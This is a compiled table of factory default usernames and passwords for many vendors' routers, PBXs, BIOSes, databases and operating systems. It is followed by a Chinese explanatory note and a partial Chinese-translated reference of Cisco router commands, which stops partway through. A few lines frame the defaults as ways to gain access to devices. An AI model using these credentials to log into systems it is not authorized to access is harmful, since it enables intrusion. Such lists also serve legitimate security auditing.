Linksys Linksys Router DSL/Cable HTTP (none) admin Admin
Linux Slackware Multi snake (none) User
Linux Slackware Multi satan (none) User
Linux UCLinux for UCSIMM Multi root uClinux Admin
Linux Slackware Multi gonzo (none) User
Livingston IRX Router Telnet !root (none)
Livingston Livingston Portmaster 3 Telnet !root (none)
Livingston Officerouter Telnet !root (none)
Lucent System 75 Multi browse looker
Lucent System 75 Multi craft craft
Lucent System 75 Multi craft craftpw
Lucent System 75 Multi craft craftpw
Lucent System 75 Multi cust custpw
Lucent System 75 Multi enquiry enquirypw
Lucent System 75 Multi field support
Lucent System 75 Multi inads indspw
Lucent System 75 Multi inads indspw
Lucent System 75 Multi inads inads
Lucent System 75 Multi init initpw
Lucent System 75 Multi locate locatepw
Lucent System 75 Multi maint maintpw
Lucent System 75 Multi maint rwmaint
Lucent System 75 Multi nms nmspw
Lucent System 75 Multi rcust rcustpw
Lucent System 75 Multi support supportpw
Lucent System 75 Multi tech field
Lucent B-STDX9000 Multi (any 3 characters) cascade
Lucent B-STDX9000 debug mode n/a cascade
Lucent B-STDX9000 SNMP readwrite n/a cascade
Lucent CBX 500 Multi (any 3 characters) cascade
Lucent CBX 500 debug mode n/a cascade
Lucent CBX 500 SNMP readwrite n/a cascade
Lucent GX 550 Multi (any 3 characters) cascade
Lucent GX 550 debug mode n/a cascade
Lucent GX 550 SNMP readwrite n/a cascade
Lucent MAX-TNT Multi admin Ascend
Lucent PSAX 1200 and below Multi root ascend
Lucent PSAX 1250 and above Multi readwrite lucenttech1
Lucent PSAX 1250 and above Multi readonly lucenttech2
Lucent System 75 Multi bciim bciimpw
Lucent System 75 Multi bcim bcimpw
Lucent System 75 Multi bcms bcmspw
Lucent System 75 Multi bcms bcmspw
Lucent System 75 Multi bcnas bcnaspw
Lucent System 75 Multi blue bluepw
Lucent System 75 Multi browse browsepw
M Technology PC BIOS Console n/a mMmM Admin
MachSpeed PC BIOS Console n/a sp99dd Admin
Macromedia Dreamweaver FTP n/a admin Guest
Magic-Pro PC BIOS Console n/a prost Admin
Megastar PC BIOS Console n/a star Admin
Mentec Micro/RSX Multi MICRO RSX Admin
MERCURY 234234 234234 SNMP Administrator admin Admin
MERCURY KT133A/686B SNMP Administrator admin Admin
Micron PC BIOS Console n/a sldkj754 Admin
Micron PC BIOS Console n/a xyzall Admin
Micronics PC BIOS Console n/a dn_04rjc Admin
Microplex Print Server Telnet root root Admin
microRouter 900i Console/Multi n/a letmein Admin
Microsoft Windows NT Multi Guest (none) User
Microsoft Windows NT Multi User User User
Microsoft SQL Server Multi sa (none)
Microsoft Windows NT Multi Guest Guest User
Microsoft Windows NT Multi IS_$hostname (same) User hostname = your server name
Microsoft Windows NT Multi (null) (none) User Redbutton Hole
Microsoft Windows NT Multi Administrator Administrator Admin
Microsoft Windows NT Multi Administrator (none) Admin
Mintel Mintel PBX n/a SYSTEM Admin
Motorola Cablerouter Telnet cablecom router Admin
mro software maximo v4.1 Multi SYSADM sysadm Admin
NCR NCR UNIX Multi ncrm ncrm Admin
Netgear RT314 HTTP and Telnet admin 1234 Admin
NetGenesis NetAnalysis Web Reporting HTTP naadmin naadmin Admin
Netopia Netopia 9500 Telnet netopia netopia Admin
Netopia Netopia 7100 Telnet (none) (none) Admin
Netport Express 10/100 multi setup setup Admin
Netscreen ns-25 Multi n/a (none) Admin
Netscreen Firewall multi netscreen netscreen Admin
NeXT NeXTStep Multi signa signa User
NeXT NeXTStep Multi me (none) User
NeXT NeXTStep Multi root NeXT Admin
Nimble PC BIOS Console n/a xdfk9874t3 Admin
Nortel Meridian Link Multi disttech 4tas engineer account
Nortel Meridian Link Multi maint maint Maintenance account
Nortel Meridian Link Multi mlusr mlusr user account
Nortel Remote Office 9150 Client admin root Admin
Nortel Accelar (Passport) 1000 series routing switches Multi l2 l2 Layer 2 Read Write
Nortel Accelar (Passport) 1000 series routing switches Multi l3 l3 Layer 3 (and layer 2) Read Write
Nortel Accelar (Passport) 1000 series routing switches Multi ro ro Read Only
Nortel Accelar (Passport) 1000 series routing switches Multi rw rw Read Write
Nortel Accelar (Passport) 1000 series routing switches Multi rwa rwa Read Write All
Nortel Extranet Switches Multi admin setup Admin
Nortel Baystack 350-24T Telnet n/a secure Admin
Nortel Meridian PBX Serial login 0000 AUTH codes in LD 8
Nortel Meridian PBX Serial login 1111 AUTH codes in LD 8
Nortel Meridian PBX Serial login 8429 AUTH codes in LD 8
Nortel Meridian PBX Serial spcl 0000 AUTH codes in LD 8
Nortel Meridian MAX Multi service smile general engineer account
Nortel Meridian MAX Multi root 3ep5w2u Admin
Nortel Matra 6501 PBX Console (none) 0000 Admin
Nortel Meridian MAX Multi maint ntacdmax Maintenance account
Nortel Meridian CCR Multi service smile general engineer account
Nortel Meridian CCR Multi disttech 4tas engineer account enter 3letter of day from yesterday an tomorrow (for Tuesday enter MonWed case sensitive) - may be twice to see root password in clear
Nortel Meridian CCR Multi maint maint Maintenance account
Nortel Meridian CCR Multi ccrusr ccrusr User account
Nortel Meridian Multi n/a (none) Admin
Nortel Meridian Link Multi service smile general engineer account
Novell Netware Multi BACKUP BACKUP
Novell Netware Multi CHEY_ARCHSVR CHEY_ARCHSVR
Novell Netware Multi CHEY_ARCHSVR (none)
Novell Netware Multi FAX FAX
Novell Netware Multi FAX (none)
Novell Netware Multi FAXUSER FAXUSER
Novell Netware Multi FAXUSER (none)
Novell Netware Multi FAXWORKS (none)
Novell Netware Multi FAXWORKS FAXWORKS
Novell Netware Multi GATEWAY GATEWAY
Novell Netware Multi GATEWAY GATEWAY
Novell Netware Multi GATEWAY (none)
Novell Netware Multi GUEST TSEUG
Novell Netware Multi GUEST GUESTGUEST
Novell Netware Multi GUEST GUESTGUE
Novell Netware Multi GUEST GUEST
Novell Netware Multi GUEST (none)
Novell Netware Multi HPLASER (none)
Novell Netware Multi HPLASER HPLASER
Novell Netware Multi LASER (none)
Novell Netware Multi LASER LASER
Novell Netware Multi LASERWRITER LASERWRITER
Novell Netware Multi LASERWRITER (none)
Novell Netware Multi MAIL (none)
Novell iChain 1.5 Console (none) san fran 8 Admin Debug level access
Novell iChain 2.0 Console (none) cr0wmt 911 Admin Debug level access
Novell Netware Multi MAIL MAIL
Novell Netware Multi POST (none)
Novell Netware Multi POST POST
Novell Netware Multi PRINT (none)
Novell Netware Multi PRINT PRINT
Novell Netware Multi PRINTER (none)
Novell Netware Multi PRINTER PRINTER
Novell Netware Multi ROOT (none)
Novell Netware Multi ROOT ROOT
Novell Netware Multi ROUTER (none)
Novell Netware Multi SABRE (none)
Novell Netware Multi SUPERVISOR NETFRAME
Novell Netware Multi SUPERVISOR NFI
Novell Netware Multi SUPERVISOR NF
Novell Netware Multi SUPERVISOR HARRIS
Novell Netware Multi SUPERVISOR SUPERVISOR
Novell Netware Multi SUPERVISOR (none)
Novell Netware Multi SUPERVISOR SYSTEM
Novell Netware Multi TEST TEST
Novell Netware Multi TEST (none)
Novell Netware Multi USER_TEMPLATE (none)
Novell Netware Multi USER_TEMPLATE USER_TEMPLATE
Novell Netware Multi WANGTEK (none)
Novell Netware Multi WANGTEK WANGTEK
Novell Netware Multi WINDOWS_PASSTHRU WINDOWS_PASSTHRU
Novell Netware Multi WINDOWS_PASSTHRU (none)
Novell Netware Multi WINSABRE SABRE
Novell Netware Multi WINSABRE WINSABRE
Novell Groupwise 5.5 Enhancement Pack HTTP servlet manager Servlet Mgr URI: /servlet/ServletManager
Novell Groupwise 6.0 HTTP servlet manager Servlet Mgr URI: /servlet/ServletManager
Novell Netware Multi ADMIN ADMIN
Novell Netware Multi ADMIN (none)
Novell Netware Multi ARCHIVIST (none)
Novell Netware Multi ARCHIVIST ARCHIVIST
Novell Netware Multi BACKUP (none)
Nurit PC BIOS Console $system (none) Admin
OCE Printers Hardware HTTP n/a 0 and the number of OCE printer Admin You can gain acsess to every OCE printer..
OCE Printers Hardware HTTP n/a 0 and the number of OCE printer Admin You can gain acsess to every OCE printer..
Optus Counter-Strike 1.3 Multi Administrator admin Admin password
Oracle Oracle RDBMS 8i Multi AQDEMO AQDEMO
Oracle Oracle RDBMS 7 and 8 Multi APPS APPS
oracle 8.1.7 Multi n/a (none) Admin
Oracle Oracle RDBMS 7 and 8 Multi AURORA@ORB@UNAUTHENTICATED INVALID
Oracle Oracle RDBMS 7 and 8 Multi AURORA$ORB$UNAUTHENTICATED INVALID
Oracle Web DB HTTP webdb webdb Admin Running on port 81/TCP (Nicolas Gregoire)
Oracle Oracle RDBMS 7 and 8 Multi BLAKE PAPER
Oracle Oracle RDBMS 8i Multi CATALOG CATALOG
Oracle Oracle RDBMS 8i Multi CDEMO82 CDEMO82
Oracle Oracle RDBMS 8i Multi CDEMOCOR CDEMOCOR
Oracle Oracle RDBMS 8i Multi CDEMOUCB CDEMOUCB
Oracle Oracle RDBMS 8i Multi CDEMORID CDEMORID
Oracle Oracle RDBMS 8i Multi FINANCE FINANCE All Privileges
Oracle Oracle RDBMS 7 and 8 Multi CLARK CLOTH
Oracle Oracle RDBMS 8i Multi COMPANY COMPANY All Privileges
Oracle Oracle RDBMS 7 and 8 Multi CTXDEMO CTXDEMO
Oracle Oracle RDBMS 7 and 8 Multi CTXSYS CTXSYS DBA
Oracle Oracle RDBMS 8i Multi SYSMAN oem_temp DBA created by Oracle Enterprise Manager
Oracle Oracle RDBMS 7 and 8 Multi CTXSYS (none)
Oracle Oracle RDBMS 7 and 8 Multi DBSNMP DBSNMP RESOURCE and CONNECT roles
Oracle Oracle RDBMS 7 and 8 Multi DEMO DEMO
Oracle Oracle RDBMS 8i Multi DEMO8 DEMO8
Oracle Oracle RDBMS 8i Multi EMP EMP
Oracle Oracle RDBMS 8i Multi EVENT EVENT DBA
Oracle Oracle RDBMS 8i Multi FND FND
Oracle Oracle RDBMS 8i Multi GPFD GPFD
Oracle Oracle RDBMS 8i Multi GPLD GPLD
Oracle Oracle RDBMS 7 and 8 Multi JONES STEEL
Oracle Oracle RDBMS 7 and 8 Multi MDSYS MDSYS All Privileges with Admin
Oracle Oracle RDBMS 8i Multi MFG MFG All Privileges
Oracle Oracle RDBMS 8i Multi MILLER MILLER
Oracle Oracle RDBMS 8i Multi MMO2 MMO2
Oracle Oracle RDBMS 8i Linux Multi MODTEST YES DBA
Oracle Oracle RDBMS 8i Multi MOREAU MOREAU
Oracle Oracle RDBMS 8i WinNT Multi MTYSYS MTYSYS
Oracle Oracle RDBMS 7 and 8 Multi NAMES NAMES
Oracle Oracle RDBMS 8i Multi OCITEST OCITEST
Oracle Oracle RDBMS 7 and 8 Multi ORDPLUGINS ORDPLUGINS
Oracle Oracle RDBMS 7 and 8 Multi ORDSYS ORDSYS
Oracle Oracle RDBMS 7 and 8 Multi OUTLN OUTLN
Oracle Oracle RDBMS 8i Multi PO PO DBA
Oracle Oracle RDBMS 8i Multi POWERCARTUSER POWERCARTUSER
Oracle Oracle RDBMS 8i Multi PRIMARY PRIMARY
Oracle Oracle RDBMS 8i Multi PUBSUB PUBSUB DBA
Oracle Oracle RDBMS 8i WinNT Multi RE RE
Oracle Oracle RDBMS 8i WinNT Multi RMAIL RMAIL
Oracle Oracle RDBMS 7 and 8 Multi RMAN RMAN created by ordisys.sql
Oracle Oracle RDBMS 8i WinNT Multi SAMPLE SAMPLE DBA
Oracle Oracle RDBMS 7 and 8 Multi SCOTT TIGER
Oracle Oracle RDBMS 8i Multi SECDEMO SECDEMO
Oracle Oracle RDBMS 7 and 8 Multi SYS CHANGE_ON_INSTALL DBA +
Oracle Oracle RDBMS 7 and 8 Multi SYSADM SYSADM
Oracle Oracle RDBMS 7 and 8 Multi SYSTEM MANAGER
Oracle Oracle RDBMS 7 and 8 Multi TRACESRV TRACE
Oracle Oracle RDBMS 8i Multi TSDEV TSDEV
Oracle Oracle RDBMS 8i Multi TSUSER TSUSER
Oracle Oracle RDBMS 8i Multi USER0 USER0
Oracle Oracle RDBMS 8i Multi USER1 USER1
Oracle Oracle RDBMS 8i Multi USER2 USER2
Oracle Oracle RDBMS 8i Multi USER3 USER3
Oracle Oracle RDBMS 8i Multi USER4 USER4
Oracle Oracle RDBMS 8i Multi USER5 USER5
Oracle Oracle RDBMS 8i Multi USER6 USER6
Oracle Oracle RDBMS 8i Multi USER7 USER7
Oracle Oracle RDBMS 8i Multi USER8 USER8
Oracle Oracle RDBMS 8i Multi USER9 USER9
Oracle Oracle RDBMS 8i Multi VRR1 VRR1 DBA
Oracle Personal Oracle 8 Multi PO8 PO8
Oracle Oracle RDBMS 8i Multi AQUSER AQUSER
Oracle Oracle RDBMS 7 and 8 Multi ADAMS WOOD
Oracle Oracle RDBMS 7 and 8 Multi APPLSYS APPLSYS
Osicom NETPrint 1000E/D Telnet Manager Manager Admin
Osicom NETPrint 1000E/NDS Telnet Manager Manager Admin
Osicom JETXPrint 500 E/B Telnet sysadm sysadm Admin
Osicom NETPrint 2000E/N Telnet Manager Manager Admin
Osicom NETPrint 1500E/N Telnet Manager Manager Admin
Osicom NETPrint 1000E/NDS Telnet sysadm sysadm Admin
Osicom NETPrint 1500E/N Telnet sysadm sysadm Admin
Osicom NETPrint 2000E/N Telnet sysadm sysadm Admin
Osicom NETPrint 1000E/B Telnet sysadm sysadm Admin
Osicom NETPrint 2000E/B Telnet sysadm sysadm Admin
Osicom NETPrint 1000E/N Telnet sysadm sysadm Admin
Osicom NETPrint 2000E/N Telnet sysadm sysadm Admin
Osicom NETPrint 1000 T/B Telnet sysadm sysadm Admin
Osicom NETPrint 2000 T/B Telnet sysadm sysadm Admin
Osicom NETPrint 1000 T/N Telnet sysadm sysadm Admin
Osicom NETPrint 2000 T/N Telnet sysadm sysadm Admin
Osicom NETPrint 1500 E/B Telnet sysadm sysadm Admin
Osicom NETPrint 1500E/N Telnet sysadm sysadm Admin
Osicom NETPrint 1500T/N Telnet sysadm sysadm Admin
Osicom NETPrint 1000E/D Telnet sysadm sysadm Admin
Osicom NETPrint 500 E/B Telnet sysadm sysadm Admin
Osicom NETPrint 500 E/N Telnet sysadm sysadm Admin
Osicom NETPrint 500 T/B Telnet sysadm sysadm Admin
Osicom NETPrint 500 T/N Telnet sysadm sysadm Admin
Osicom Osicom Plus T1/PLUS 56k Telnet write private
Osicom JETXPrint 1000E/B Telnet sysadm sysadm Admin
Osicom JETXPrint 1000E/N Telnet sysadm sysadm Admin
Osicom JETXPrint 1000T/N Telnet sysadm sysadm Admin
Osicom NETCommuter Remote Access Server Telnet debug d.e.b.u.g User
Osicom NETCommuter Remote Access Server Telnet echo echo User
Osicom NETCommuter Remote Access Server Telnet guest guest User
Osicom NETCommuter Remote Access Server Telnet Manager Manager Admin
Osicom NETCommuter Remote Access Server Telnet sysadm sysadm Admin
Osicom NETPrint 1500 E/B Telnet debug d.e.b.u.g User
Osicom NETPrint 1000E/D Telnet debug d.e.b.u.g User
Osicom NETPrint 1000E/NDS Telnet debug d.e.b.u.g User
Osicom NETPrint 1500E/N Telnet debug d.e.b.u.g User
Osicom NETPrint 2000E/N Telnet debug d.e.b.u.g User
Osicom NETPrint 1500 E/B Telnet echo echo User
Osicom NETPrint 1000E/D Telnet echo echo User
Osicom NETPrint 1000E/NDS Telnet echo echo User
Osicom NETPrint 1500E/N Telnet echo echo User
Osicom NETPrint 2000E/N Telnet echo echo User
Osicom NETPrint 1500 E/B Telnet guest guest User
Osicom NETPrint 1000E/D Telnet guest guest User
Osicom NETPrint 1000E/NDS Telnet guest guest User
Osicom NETPrint 1500E/N Telnet guest guest User
Osicom NETPrint 2000E/N Telnet guest guest User
Osicom NETPrint 1500 E/B Telnet Manager Manager Admin
Pacific Micro Data MAST 9500 Universal Disk Array ESM ver. 2.11 / 1 Console pmd (none) Admin
Packard Bell PC BIOS Console n/a bell9 Admin
PentaSafe VigilEnt Security Manager 3.0 VigilEnt Security Manager Console PSEAdmin $secure$ Admin
phoenix 4.0 6.0.2 Multi n/a admin Admin
Planet WAP-1900/1950/2000 2.5.0 Multi (none) default Admin
Prime PrimeOS Multi test test User
Prime PrimeOS Multi netlink netlink User
Prime PrimeOS Multi mfd mfd User
Prime PrimeOS Multi guest guest User
Prime PrimeOS Multi mail mail User
Prime PrimeOS Multi guest1 guest User
Prime PrimeOS Multi guest1 guest1 User
Prime PrimeOS Multi system prime Admin
Prime PrimeOS Multi system system Admin
Prime PrimeOS Multi tele tele User
Prime PrimeOS Multi prime prime User
Prime PrimeOS Multi primenet primenet User
Prime PrimeOS Multi primenet primeos User
Prime PrimeOS Multi primos_cs primos User
Prime PrimeOS Multi primos_cs prime User
Pyramid Computer BenHur all HTTP admin gnumpf Admin
QDI SpeedEasy BIOS Console n/a lesarotl Admin
QDI PC BIOS Console n/a QDI Admin
Quantex PC BIOS Console n/a teX1 Admin
Quantex PC BIOS Console n/a xljlbj Admin
Raidzone raid arrays n/a raidzone
Ramp Networks WebRamp wradmin trancell
RedHat Redhat 6.2 HTTP piranha q User
RedHat Redhat 6.2 HTTP piranha piranha User
Research PC BIOS Console n/a Col2ogro2 Admin
RM RM Connect Multi setup changeme
RM RM Connect Multi teacher password
RM RM Connect Multi temp1 password
RM RM Connect Multi admin rmnetlm
RM RM Connect Multi admin2 changeme
RM RM Connect Multi adminstrator changeme
RM RM Connect Multi deskalt password
RM RM Connect Multi deskman changeme
RM RM Connect Multi desknorm password
RM RM Connect Multi deskres password
RM RM Connect Multi guest (none)
RM RM Connect Multi replicator replicator
RM RM Connect Multi RMUser1 password
RM RM Connect Multi topicalt password
RM RM Connect Multi topicnorm password
RM RM Connect Multi topicres password
RM Server BIOS Console n/a RM
SAP SAP SAP client EARLYWATCH SUPPORT SAP internal; Mandant 066
SAP SAP SAP client SAP* 07061992 SAP internal; Mandant 066
SAP SAP SAP client SAP* PASS SAP internal; all Mandants
SAP SAP SAP client SAP* 07061992 SAP internal; Mandant 000
SAP SAP SAP client DDIC 19920706 SAP internal; Mandant 000
SAP SAP SAP client SAP* 07061992 SAP internal; Mandant 001
SAP SAP SAP client DDIC 19920706 SAP internal; Mandant 001
Semaphore PICK O/S PHANTOM
Semaphore PICK O/S DS
Semaphore PICK O/S DSA
Semaphore PICK O/S DESQUETOP
Server Technology Sentry Remote Power Manager Multi GEN1 gen1 view/control Telnet port 2001
Server Technology Sentry Remote Power Manager Multi GEN2 gen2 view/control Telnet port 2001
Server Technology Sentry Remote Power Manager Multi ADMN admn Admin Telnet port 2001
Shiva Integrator 150/200/500 Multi admin hello Admin
Shuttle PC BIOS n/a Spacve Admin
Siemens ROLM PBX eng engineer
Siemens ROLM PBX op op
Siemens ROLM PBX op operator
siemens hipath Multi n/a (none) Admin
Siemens ROLM PBX su super
Siemens PhoneMail poll tech
Siemens PhoneMail sysadmin sysadmin
Siemens ROLM PBX admin pwp
Siemens PhoneMail tech tech
Siemens Nixdorf PC BIOS Console n/a SKY_FOX Admin
Siips Trojan 8974202 Multi Administrator ganteng Admin Thx
Silicon Graphics IRIX 5.x 6.x Multi lp (none) CLI; UID lp
Silicon Graphics IRIX 5.x 6.x Multi guest (none) CLI; UID guest
Silicon Graphics IRIX Multi OutOfBox (none) Admin
Silicon Graphics IRIX Multi field field Admin
Silicon Graphics IRIX Multi tour tour Admin
Silicon Graphics IRIX Multi tutor (none) Admin
Silicon Graphics IRIX Multi tutor tutor Admin
Silicon Graphics IRIX Multi 4Dgifts 4Dgifts Admin
Silicon Graphics IRIX Multi 4Dgifts (none) Admin
Silicon Graphics IRIX Multi demos (none) Admin
Silicon Graphics IRIX Multi Ezsetup (none) Admin
SmartSwitch Router 250 ssr2500 v3.0.9 Multi admin (none) Admin
SonicWALL ALL ALL HTTP admin password Admin
Speedstream 5861 SMT Router Multi admin admin Admin
Speedstream 5871 IDSL Router Multi admin admin Admin
Speedstream Router 250 ssr250 Multi admin admin Admin
Speedstream DSL Multi admin admin Admin
SpeedXess HASE-120 Multi (none) speedxess Admin
Sun JavaWebServer 1.x 2.x AdminSrv admin admin Admin
SuperMicro PC BIOS Console n/a ksdjfg934t Admin
Sybase Adaptive Server Enterprise 11.x 12.x Multi sa (none) SA and SSO roles
Tiara Networks (router???) 1400 6100 6200 Multi n/a tiara tiaranet
Tinys PC BIOS Console n/a Tiny Admin
TMC PC BIOS Console n/a BIGO Admin
Toshiba PC BIOS Console n/a 24Banc81 Admin
Toshiba PC BIOS Console n/a Toshiba Admin
Toshiba PC BIOS Console n/a toshy99 Admin
Trend Micro Viruswall all versions HTTP on port 1812 admin admin Admin Reported by Nicolas Gregoire
TVT System Expresse G5 Multi craft (none) Admin
TVT System Expresse G5 DS1 Module Multi (none) enter Admin
UNIX Generic Multi system_admin system_admin Admin
UNIX Generic Multi trouble trouble User
UNIX Generic Multi umountfs umountfs User
UNIX Generic Multi umountfsys umountfsys User
UNIX Generic Multi umountsys umountsys User
UNIX Generic Multi unix unix User
UNIX Generic Multi user user User
UNIX Generic Multi uucp uucp User
UNIX Generic Multi uucpadm uucpadm User
UNIX Generic Multi web (none) User
UNIX Generic Multi web web User
UNIX Generic Multi webmaster webmaster User
UNIX Generic Multi webmaster (none) User
UNIX Generic Multi www (none) User
UNIX Generic Multi www www User
UNIX Generic Multi adm adm Admin
UNIX Generic Multi adm (none) Admin
UNIX Generic Multi admin admin User
UNIX Generic Multi administrator administrator User
UNIX Generic Multi administrator (none) User
UNIX Generic Multi anon anon User
UNIX Generic Multi bbs bbs User
UNIX Generic Multi bbs (none) User
UNIX Generic Multi bin sys Admin
UNIX Generic Multi bin sys Admin
UNIX Generic Multi checkfs checkfs User
UNIX Generic Multi checkfsys checkfsys User
UNIX Generic Multi checksys checksys User
UNIX Generic Multi daemon daemon User
UNIX Generic Multi daemon (none) User
UNIX Generic Multi demo demo User
UNIX Generic Multi demo (none) User
UNIX Generic Multi demos demos User
UNIX Generic Multi demos (none) User
UNIX Generic Multi dni (none) User
UNIX Generic Multi dni dni User
UNIX Generic Multi fal (none) User
UNIX Generic Multi fal fal User
UNIX Generic Multi fax (none) User
UNIX Generic Multi fax fax User
UNIX Generic Multi ftp (none) User
UNIX Generic Multi ftp ftp User
UNIX Generic Multi games games User
UNIX Generic Multi games (none) User
UNIX Generic Multi gopher gopher User
UNIX Generic Multi gropher (none) User
UNIX Generic Multi guest guest User
UNIX Generic Multi guest guestgue User
UNIX Generic Multi guest (none) User
UNIX Generic Multi halt halt User
UNIX Generic Multi halt (none) User
UNIX Generic HP-UX Multi root hp Admin
UNIX Generic Multi informix informix User
UNIX Generic Multi install install Admin
UNIX Generic Multi lp lp User
UNIX Generic Multi lp bin User
UNIX Generic Multi lp lineprin User
UNIX Generic Multi lp (none) User
UNIX Generic Multi lpadm lpadm User
UNIX Generic Multi lpadmin lpadmin User
UNIX Generic Multi lynx lynx User
UNIX Generic Multi lynx (none) User
UNIX Generic Multi mail (none) User
UNIX Generic Multi mail mail User
UNIX Generic Multi man man User
UNIX Generic Multi man (none) User
UNIX Generic Multi me (none) User
UNIX Generic Multi me me User
UNIX Generic Multi mountfs mountfs Admin
UNIX Generic Multi mountfsys mountfsys Admin
UNIX Generic Multi mountsys mountsys Admin
UNIX Generic Multi news news User
UNIX Generic Multi news (none) User
UNIX Generic Multi nobody (none) User
UNIX Generic Multi nobody nobody User
UNIX Generic Multi nuucp (none) User
UNIX Generic Multi operator operator User
UNIX Generic Multi operator (none) User
UNIX Generic Multi oracle (none) User
UNIX Generic Multi postmaster postmast User
UNIX Generic Multi postmaster (none) User
UNIX Generic Multi powerdown powerdown User
UNIX Generic Multi rje rje User
UNIX Generic Multi root root Admin
UNIX Generic Multi root (none) Admin
UNIX Generic Multi setup setup Admin
UNIX Generic Multi shutdown shutdown User
UNIX Generic Multi shutdown (none) User
UNIX Generic Multi sync sync User
UNIX Generic Multi sync (none) User
UNIX Generic Multi sys sys Admin
UNIX Generic Multi sys system Admin
UNIX Generic Multi sys bin Admin
UNIX Generic Multi sysadm sysadm Admin
UNIX Generic Multi sysadm admin Admin
UNIX Generic Multi sysadmin sysadmin Admin
UNIX Generic Multi sysbin sysbin Admin
UNIX Generic Multi system_admin (none) Admin
Verifone Verifone Junior 2.05 (none) 166816
Vextrec Technology PC BIOS Console n/a Vextrex
Vobis PC BIOS Console n/a merlin
Watch guard firebox 1000 Multi admin (none) Admin
Wim Bervoets WIMBIOSnbsp BIOS Console n/a Compleri Admin
winwork iso sistemi Multi operator (none) Admin
WorldClient AdminServer HTTP:2001 WebAdmin Admin WorldClient
WWWBoard WWWADMIN.PL HTTP WebAdmin WebBoard Admin
Wyse Winterm 5440XL Console root wyse Admin
Wyse Winterm 5440XL VNC VNC winterm VNC
Xerox Multi Function Equipment Multi admin 2222 Admin combo fax/scanner/printer with network access
Xylan Omniswitch Telnet admin switch Admin
Xylan Omniswitch Telnet diag switch
Xyplex Routers Port 7000 n/a system Admin
Xyplex Terminal Server Port 7000 n/a access User
Xyplex Terminal Server Port 7000 n/a system Admin
Xyplex Routers Port 7000 n/a access User
Zenith PC BIOS Console n/a 3098z Admin
Zenith PC BIOS Console n/a Zenith Admin
ZEOS PC BIOS Console n/a zeosx Admin
Zyxel Generic Routers Telnet n/a
3COM CoreBuilder 7000/6000/3500/2500 Telnet debug synnet
3COM为公司
CoreBuilder 7000/6000/3500/2500为型号
Telnet为登陆方式
debug为帐号
synnet为密码
以上就是一条消息的含义，皆为路由器公司出产的各种型号的路由器初始默认密码。


Cisco 路由器常用命令

小弟虽然不懂但是我想这可能对大家有用!!!!!!
Cisco 路由器常用命令
1 Exec commands:
<1-99> 恢复一个会话
bfe 手工应急模式设置
clear 复位功能
clock 管理系统时钟
configure 进入设置模式
connect 打开一个终端
copy 从tftp服务器拷贝设置文件或把设置文件拷贝到tftp服务器上
debug 调试功能
disable 退出优先命令状态
disconnect 断开一个网络连接
enable 进入优先命令状态
erase 擦除快闪内存
exit 退出exce模式
help 交互帮助系统的描述
lat 打开一个本地传输连接
lock 锁定终端
login 以一个用户名登录
logout 退出终端
mbranch 向树形下端分支跟踪多路由广播
mrbranch 向树形上端分支跟踪反向多路由广播
name-connection 给一个存在的网络连接命名
no 关闭调试功能
pad 打开X.29 PAD连接
ping 发送回显信息
ppp 开始点到点的连接协议
reload 停机并执行冷启动
resume 恢复一个活动的网络连接
rlogin 打开远程注册连接
rsh 执行一个远端命令
send 发送信息到另外的终端行
setup 运行setup命令
show 显示正在运行系统信息
slip 开始SLIP协议
start-chat 在命令行上执行对话描述
systat 显示终端行的信息
telnet 远程登录
terminal 终端行参数
test 测试子系统内存和端口
tn3270 打开一个tin3270连接
trace 跟踪路由到目的地
undebug 退出调试功能
verify 验证检查闪烁文件的总数
where 显示活动的连接
which-route 执行OSI路由表查找并显示结果
write 把正在运行的设置写入内存、网络、或终端
x3 在PAD上设置X.3参数
xremote 进入xremote模式
2 #show ?
access-expression 显示访问控制表达式
access-lists 显示访问控制表
apollo Apollo 网络信息
appletalk Apple Talk 信息
arap 显示Appletalk 远端通道统计
arp 地址解析协议表
async 访问路由接口的终端行上的信息
bridge 前向网络数据库
buffers 缓冲池统计
clns CLNS网络信息
clock 显示系统时钟
cmns 连接模式网络服务信息
compress 显示压缩状态
configuration 非易失性内存的内容
controllers 端口控制状态
debugging 调试选项状态
decnet DEC网络信息
dialer 拨号参数和统计
dnsix 显示Dnsix/DMPP信息
entry 排队终端入口
extended 扩展端口信息
flash 系统闪烁信息
flh-log 闪烁装载帮助日志缓冲区
frame-relay 帧中继信息
history 显示对话层历史命令
hosts IP域名，查找方式，名字服务，主机表
interfaces 端口状态和设置
ip IP信息
ipx Novell IPX信息
isis IS-IS路由信息
keymap 终端键盘映射
lat DEC LAT信息
line 终端行信息
llc2 IBM LLC2 环路信息
lnm IBM 局网管理
local-ack 本地认知虚环路
memory 内存统计
netbios-cache NetBios命名缓冲存贮器内存
node 显示已知LAT节点
ntp 网络时间协议
processes 活动进程统计
protocols 活动网络路由协议
queue 显示队列内容
queueing 显示队列设置
registry 功能注册信息
rhosts 远程主机文件
rif RIF存贮器入口
route-map 路由器信息
sdlle 显示sdlc-llc2转换信息
services 已知LAT服务
sessions 远程连接信息
smds SMDS信息
source-bridge 源网桥参数和统计
spanning-tree 跨越树形拓朴
stacks 进程堆栈应用
standby 热支持协议信息
stun STUN状态和设置
subsystem 显示子系统
tcp TCP连接状态
terminal 显示终端设置
tn3270 TN3270 设置
translate 协议转换信息
ttycap 终端容易表
users 显示终端行的信息
version 系统硬、软件状态
vines VINES信息
whoami 当前终端行信息
x25 X.25信息
xns XNS信息
xermote Xremote统计
3 #config ?
Memory 从非易失性内存设置
Network 从TFTP网络主机设置
Overwrite-network 从TFTP网络主机设置覆盖非易失性内存
Terminal 从终端设置
4 Configure commads:
Access-list 增加一个访问控制域
Apollo Apollo全局设置命令
appletalk Appletalk 全局设置命令
arap Appletalk远程进出协议
arp 设置一个静态ARP入口
async-bootp 修改系统启动参数
autonomous-system 本地所拥有的特殊自治系统成员
banner 定义注册显示信息
boot 修改系统启动时参数
bridge 透明网桥
buffers 调整系统缓冲池参数
busy-message 定义当连接主机失败时显示信息
chat-s cript 定义一个调制解调器对话文本
clns 全局CLNS设置子命令
clock 设置时间时钟
config-register 定义设置寄存器
decnet 全局DEC网络设置子命令
default-value 缺省字符位值
dialer-list 创建一个拨号清单入口
dnsix-nat 为审计提供DMDM服务
enable 修改优先命令口令
end 从设置模式退出
exit 从设置模式退出
frame-relay 全局帧中继设置命令
help 交互帮助系统的描述
hostname 设置系统网络名
iterface 选择设置的端口
ip 全局地址设置子命令
ipx Novell/IPX全局设置命令
keymap 定义一个新的键盘映射
lat DEC本地传输协议
line 设置终端行
lnm IBM局网管理
locaddr-priority-list 在LU地址上建立优先队列
logging 修改注册（设备）信息
login-string 定义主机指定的注册字符串
map-class 设置静态表类
map-list 设置静态表清单
